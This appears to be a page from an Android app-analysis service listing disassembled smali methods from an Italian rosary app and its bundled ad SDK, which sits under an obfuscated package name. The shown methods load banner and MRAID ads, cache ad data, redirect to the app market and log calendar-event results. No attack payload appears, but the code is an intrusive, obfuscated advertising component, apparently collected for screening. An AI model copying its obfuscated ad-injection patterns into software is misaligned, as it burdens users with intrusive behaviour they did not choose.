21 | invoke-static {p1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; | |
22 | move-result-object v3 | |
24 | invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V |
|
25 | const/high16 v2, 0x10000000 | |
27 | invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent; |
|
28 | const/high16 v2, 0x800000 | |
30 | invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
32 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
34 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
35 | move-result-object v2 | |
37 | invoke-virtual {v2, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V | |
39 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
41 | const-string v3, "77" | |
43 | invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
44 | try_end_36: | |
45 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
46 | const/4 v3, 0x1 | |
48 | invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
49 | return-void | |
50 | catch_3d: move-exception v0 | |
52 | const-string v2, "AirplayMraid" | |
53 | new-instance v3, Ljava/lang/StringBuilder; | |
55 | invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V | |
57 | const-string v4, "Error whlie displaying App......: " | |
59 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
60 | move-result-object v3 | |
62 | invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String; | |
63 | move-result-object v4 | |
65 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
66 | move-result-object v3 | |
68 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
69 | move-result-object v3 | |
71 | invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
73 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
75 | const-string v3, "downloadApp" | |
77 | const-string v4, "Error occurred while redirecting to market." | |
79 | invoke-virtual {v2, v3, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
81 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
83 | const-string v3, "error" | |
85 | invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
86 | goto/16 :goto_36 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: | |
2 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AdView;->setBackGround()V | |
4 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
5 | if-eqz v1, :cond_a2 | |
7 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
9 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd()Z | |
10 | move-result v1 | |
11 | if-nez v1, :cond_27 | |
13 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
15 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript()Z | |
16 | move-result v1 | |
17 | if-nez v1, :cond_27 | |
19 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
21 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd()Z | |
22 | move-result v1 | |
23 | if-nez v1, :cond_27 | |
25 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
27 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl()Z | |
28 | move-result v1 | |
29 | if-eqz v1, :cond_3d | |
30 | cond_27: | |
31 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
33 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTag()Ljava/lang/String; | |
34 | move-result-object v1 | |
36 | const-string v2, "" | |
38 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
39 | move-result v1 | |
40 | if-eqz v1, :cond_60 | |
42 | const-string v1, "AirplayMraid" | |
44 | const-string v2, "Tag data is null" | |
46 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
47 | goto_3c: return-void | |
48 | cond_3d: | |
49 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
51 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getAdimage()Ljava/lang/String; | |
52 | move-result-object v1 | |
53 | if-eqz v1, :cond_53 | |
55 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
57 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getAdimage()Ljava/lang/String; | |
58 | move-result-object v1 | |
60 | const-string v2, "" | |
62 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
63 | move-result v1 | |
64 | if-eqz v1, :cond_60 | |
65 | cond_53: | |
66 | const-string v1, "AirplayMraid" | |
68 | const-string v2, "image url is null" | |
70 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
71 | try_end_5a: goto/16 :goto_3c | |
72 | catch_5b: move-exception v10 | |
74 | invoke-virtual {v10}, Ljava/lang/Exception;->printStackTrace()V | |
75 | goto/16 :goto_3c | |
76 | cond_60: | |
77 | const-string v1, "AirplayMraid" | |
79 | const-string v2, "Loading banner ad" | |
81 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
82 | new-instance v0, Lcom/vxjxu/jkhfn1870/ImageBanner; | |
84 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context; | |
85 | move-result-object v1 | |
87 | invoke-virtual {v1}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context; | |
88 | move-result-object v1 | |
89 | iget v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->widthDp:I | |
90 | iget v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->heightDp:I | |
92 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->handler:Landroid/os/Handler; | |
94 | iget-object v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
96 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener; | |
97 | iget-boolean v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->isTestMode:Z | |
98 | move-object v8, p0 | |
100 | invoke-direct/range {v0 .. v8}, Lcom/vxjxu/jkhfn1870/ImageBanner;-><init>(Landroid/content/Context;IILandroid/os/Handler;Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;ZLcom/vxjxu/jkhfn1870/AdView;)V | |
102 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AdView;->animateOldViews()V | |
104 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/AdView;->addView(Landroid/view/View;)V | |
105 | const/4 v1, 0x0 | |
107 | invoke-direct {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->createAnimation(Z)Landroid/view/animation/Animation; |
|
108 | move-result-object v9 | |
109 | if-eqz v9, :cond_91 | |
111 | invoke-virtual {v0, v9}, Lcom/vxjxu/jkhfn1870/ImageBanner;->startAnimation(Landroid/view/animation/Animation;)V | |
112 | cond_91: | |
113 | const-string v1, "AirplayMraid" | |
115 | const-string v2, "Ad loaded successfully" | |
117 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
119 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
120 | if-eqz v1, :cond_3c | |
122 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
124 | invoke-interface {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdLoadedListener()V | |
125 | goto/16 :goto_3c | |
126 | cond_a2: | |
127 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->removeAllViews()V | |
129 | const-string v1, "AirplayMraid" | |
131 | const-string v2, "Ad not loaded. Banner data is null." | |
133 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
134 | const/16 v1, 0x8 | |
136 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->setVisibility(I)V |
|
137 | try_end_b1: goto/16 :goto_3c |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "result" # Ljava/lang/String; | |
1 | .prologue | |
3 | const-string v6, "AirplaySDK" | |
4 | new-instance v7, Ljava/lang/StringBuilder; | |
6 | invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V | |
8 | const-string v8, "SmartWall JSON: " | |
10 | invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
11 | move-result-object v7 | |
13 | invoke-virtual {v7, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
14 | move-result-object v7 | |
16 | invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
17 | move-result-object v7 | |
19 | invoke-static {v6, v7}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
20 | if-nez p1, :cond_1b | |
21 | cond_1a: return-void | |
22 | try_start_1b: new-instance v2, Lorg/json/JSONObject; | |
24 | invoke-direct {v2, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
26 | const-string v6, "status" | |
28 | invoke-virtual {v2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
29 | move-result v6 | |
30 | if-eqz v6, :cond_78 | |
31 | const/4 v4, 0x0 | |
32 | goto_29: | |
33 | const-string v6, "message" | |
35 | invoke-virtual {v2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
36 | move-result v6 | |
37 | if-eqz v6, :cond_7f | |
39 | const-string v3, "" | |
40 | goto_33: | |
41 | const-string v6, "adtype" | |
43 | invoke-virtual {v2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
44 | move-result v6 | |
45 | if-eqz v6, :cond_86 | |
47 | const-string v0, "" | |
48 | goto_3d: const/16 v6, 0xc8 | |
49 | if-ne v4, v6, :cond_1a | |
51 | const-string v6, "Success" | |
53 | invoke-virtual {v3, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
54 | move-result v6 | |
55 | if-eqz v6, :cond_1a | |
57 | const-string v6, "" | |
59 | invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
60 | move-result v6 | |
61 | if-nez v6, :cond_1a | |
62 | sget-boolean v6, Lcom/vxjxu/jkhfn1870/AirPlay;->enableCaching:Z | |
63 | if-eqz v6, :cond_a9 | |
65 | const-string v6, "<VAST>" | |
67 | invoke-virtual {p1, v6}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z |
|
68 | move-result v6 | |
69 | if-eqz v6, :cond_8d | |
70 | sget v6, Landroid/os/Build$VERSION;->SDK_INT:I | |
71 | const/4 v7, 0x7 | |
72 | if-le v6, v7, :cond_8d | |
73 | new-instance v5, Lcom/vxjxu/jkhfn1870/VideoAd; | |
75 | invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity; | |
76 | move-result-object v6 | |
78 | invoke-direct {v5, v6}, Lcom/vxjxu/jkhfn1870/VideoAd;-><init>(Landroid/content/Context;)V | |
80 | invoke-virtual {v5, p1}, Lcom/vxjxu/jkhfn1870/VideoAd;->parseVideoAd(Ljava/lang/String;)V | |
81 | try_end_6e: goto/16 :goto_1a | |
82 | catch_6f: move-exception v1 | |
84 | const-string v6, "AirplaySDK" | |
86 | const-string v7, "Error: " | |
88 | invoke-static {v6, v7, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
89 | goto/16 :goto_1a | |
90 | try_start_78: | |
91 | const-string v6, "status" | |
93 | invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
94 | move-result v4 | |
95 | goto/16 :goto_29 | |
96 | cond_7f: | |
97 | const-string v6, "message" | |
99 | invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
100 | move-result-object v3 | |
101 | goto/16 :goto_33 | |
102 | cond_86: | |
103 | const-string v6, "adtype" | |
105 | invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
106 | move-result-object v0 | |
107 | goto/16 :goto_3d | |
108 | cond_8d: | |
109 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AirPlay$2;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
111 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$100(Lcom/vxjxu/jkhfn1870/AirPlay;)Lcom/vxjxu/jkhfn1870/Caching; | |
112 | move-result-object v6 | |
114 | sget-object v7, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->smartwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
116 | invoke-virtual {v6, v7, p1}, Lcom/vxjxu/jkhfn1870/Caching;->saveJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;Ljava/lang/String;)Z | |
118 | sget-object v6, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->smartwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
120 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendAdCached(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)V | |
122 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AirPlay$2;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
124 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$100(Lcom/vxjxu/jkhfn1870/AirPlay;)Lcom/vxjxu/jkhfn1870/Caching; | |
125 | move-result-object v6 | |
126 | const/4 v7, 0x1 | |
128 | invoke-virtual {v6, v7}, Lcom/vxjxu/jkhfn1870/Caching;->setSmartWallAd(Z)V | |
129 | goto/16 :goto_1a | |
130 | cond_a9: | |
131 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AirPlay$2;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
133 | invoke-virtual {v6, p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseSmartwallJson(Ljava/lang/String;)V | |
134 | try_end_ae: goto/16 :goto_1a |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const v7, 0x7f05000a | |
2 | const v6, 0x7f050008 | |
3 | const v5, 0x7f050005 | |
5 | const-string v1, "" | |
7 | const-string v3, "" | |
8 | new-instance v0, Ljava/util/GregorianCalendar; | |
10 | invoke-direct {v0}, Ljava/util/GregorianCalendar;-><init>()V | |
11 | const/4 v4, 0x7 | |
13 | invoke-virtual {v0, v4}, Ljava/util/Calendar;->get(I)I |
|
14 | move-result v2 | |
15 | packed-switch v2, :pswitch_data_90 | |
16 | goto_1a: new-instance v4, Ljava/lang/StringBuilder; | |
18 | invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V | |
20 | const-string v5, "Oggi \u00e8 " | |
22 | invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
23 | move-result-object v4 | |
25 | invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
26 | move-result-object v4 | |
28 | const-string v5, ". Recitiamo i Misteri " | |
30 | invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
31 | move-result-object v4 | |
33 | invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
34 | move-result-object v4 | |
36 | invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
37 | move-result-object v3 | |
38 | return-object v3 | |
39 | pswitch_38: const v4, 0x7f050006 | |
41 | invoke-virtual {p0, v4}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String; |
|
42 | move-result-object v3 | |
44 | invoke-virtual {p0, v7}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String; |
|
45 | move-result-object v1 | |
46 | goto/16 :goto_1a | |
47 | pswitch_44: const v4, 0x7f05000d | |
49 | invoke-virtual {p0, v4}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String; |
|
50 | move-result-object v3 | |
52 | invoke-virtual {p0, v6}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String; |
|
53 | move-result-object v1 | |
54 | goto/16 :goto_1a | |
55 | pswitch_50: const v4, 0x7f05000e | |
57 | invoke-virtual {p0, v4}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String; |
|
58 | move-result-object v3 | |
60 | invoke-virtual {p0, v5}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String; |
|
61 | move-result-object v1 | |
62 | goto/16 :goto_1a | |
63 | pswitch_5c: const v4, 0x7f05000f | |
65 | invoke-virtual {p0, v4}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String; |
|
66 | move-result-object v3 | |
68 | invoke-virtual {p0, v7}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String; |
|
69 | move-result-object v1 | |
70 | goto/16 :goto_1a | |
71 | pswitch_68: const v4, 0x7f050009 | |
73 | invoke-virtual {p0, v4}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String; |
|
74 | move-result-object v3 | |
75 | const v4, 0x7f05000c | |
77 | invoke-virtual {p0, v4}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String; |
|
78 | move-result-object v1 | |
79 | goto/16 :goto_1a | |
80 | pswitch_77: const v4, 0x7f050020 | |
82 | invoke-virtual {p0, v4}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String; |
|
83 | move-result-object v3 | |
85 | invoke-virtual {p0, v5}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String; |
|
86 | move-result-object v1 | |
87 | goto/16 :goto_1a | |
88 | pswitch_83: const v4, 0x7f050018 | |
90 | invoke-virtual {p0, v4}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String; |
|
91 | move-result-object v3 | |
93 | invoke-virtual {p0, v6}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String; |
|
94 | move-result-object v1 | |
95 | goto/16 :goto_1a | |
96 | nop |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: | |
2 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AdView;->setBackGround()V | |
4 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
5 | if-eqz v1, :cond_8e | |
7 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
9 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isHtmlAd()Z | |
10 | move-result v1 | |
11 | if-nez v1, :cond_1f | |
13 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
15 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isInlineScript()Z | |
16 | move-result v1 | |
17 | if-nez v1, :cond_1f | |
19 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
21 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isJsAd()Z | |
22 | move-result v1 | |
23 | if-eqz v1, :cond_39 | |
24 | cond_1f: | |
25 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
27 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String; | |
28 | move-result-object v1 | |
29 | if-eqz v1, :cond_31 | |
31 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
33 | const-string v2, "" | |
35 | invoke-virtual {v1, v2}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z | |
36 | move-result v1 | |
37 | if-eqz v1, :cond_58 | |
38 | cond_31: | |
39 | const-string v1, "AirplayMraid" | |
41 | const-string v2, "Tag data is null" | |
43 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
44 | goto_38: return-void | |
45 | cond_39: | |
46 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
48 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getAd_url()Ljava/lang/String; | |
49 | move-result-object v1 | |
50 | if-eqz v1, :cond_4b | |
52 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
54 | const-string v2, "" | |
56 | invoke-virtual {v1, v2}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z | |
57 | move-result v1 | |
58 | if-eqz v1, :cond_58 | |
59 | cond_4b: | |
60 | const-string v1, "AirplayMraid" | |
62 | const-string v2, "Ad url is null" | |
64 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
65 | try_end_52: goto/16 :goto_38 | |
66 | catch_53: move-exception v7 | |
68 | invoke-virtual {v7}, Ljava/lang/Exception;->printStackTrace()V | |
69 | goto/16 :goto_38 | |
70 | cond_58: | |
71 | const-string v1, "AirplayMraid" | |
73 | const-string v2, "Loading Mraid ad.." | |
75 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
76 | new-instance v0, Lcom/vxjxu/jkhfn1870/MraidView; | |
78 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context; | |
79 | move-result-object v1 | |
81 | sget-object v3, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
83 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->handler:Landroid/os/Handler; | |
85 | iget-object v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener; | |
86 | move-object v2, p0 | |
88 | invoke-direct/range {v0 .. v5}, Lcom/vxjxu/jkhfn1870/MraidView;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AdView;Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;Landroid/os/Handler;Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;)V | |
90 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getChildCount()I | |
91 | move-result v6 | |
92 | if-lez v6, :cond_8a | |
93 | const/4 v8, 0x0 | |
94 | goto_76: if-ge v8, v6, :cond_8a | |
96 | invoke-virtual {p0, v8}, Lcom/vxjxu/jkhfn1870/AdView;->getChildAt(I)Landroid/view/View; |
|
97 | move-result-object v1 | |
98 | if-eqz v1, :cond_87 | |
100 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->oldViews:Ljava/util/List; | |
102 | invoke-virtual {p0, v8}, Lcom/vxjxu/jkhfn1870/AdView;->getChildAt(I)Landroid/view/View; |
|
103 | move-result-object v2 | |
105 | invoke-interface {v1, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
106 | cond_87: add-int/lit8 v8, v8, 0x1 | |
107 | goto/16 :goto_76 | |
108 | cond_8a: | |
109 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/AdView;->addView(Landroid/view/View;)V | |
110 | goto/16 :goto_38 | |
111 | cond_8e: | |
112 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->removeAllViews()V | |
113 | const/16 v1, 0x8 | |
115 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->setVisibility(I)V |
|
117 | const-string v1, "AirplayMraid" | |
119 | const-string v2, "Ad not loaded. Mraid data is null." | |
121 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
123 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
124 | if-eqz v1, :cond_38 | |
126 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
128 | const-string v2, "Ad not loaded. Url is null." | |
130 | invoke-interface {v1, v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V |
|
131 | try_end_a8: goto/16 :goto_38 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "requestCode" # I | |
1 | .param p2, "resultCode" # I | |
2 | .param p3, "data" # Landroid/content/Intent; | |
3 | .prologue | |
4 | const/4 v3, -0x1 | |
6 | invoke-super {p0, p1, p2, p3}, Landroid/app/Activity;->onActivityResult(IILandroid/content/Intent;)V | |
7 | const/4 v0, 0x7 | |
8 | if-ne p1, v0, :cond_1e | |
9 | if-ne p2, v3, :cond_3a | |
10 | try_start_9: | |
11 | const-string v0, "Calender event added" | |
13 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
15 | sget-object v0, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView; | |
17 | const-string v1, "92" | |
19 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
21 | sget-object v0, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView; | |
22 | const/4 v1, 0x1 | |
24 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
26 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V | |
27 | cond_1e: const/16 v0, 0x8 | |
28 | if-ne p1, v0, :cond_39 | |
29 | if-ne p2, v3, :cond_55 | |
31 | const-string v0, "Video played added" | |
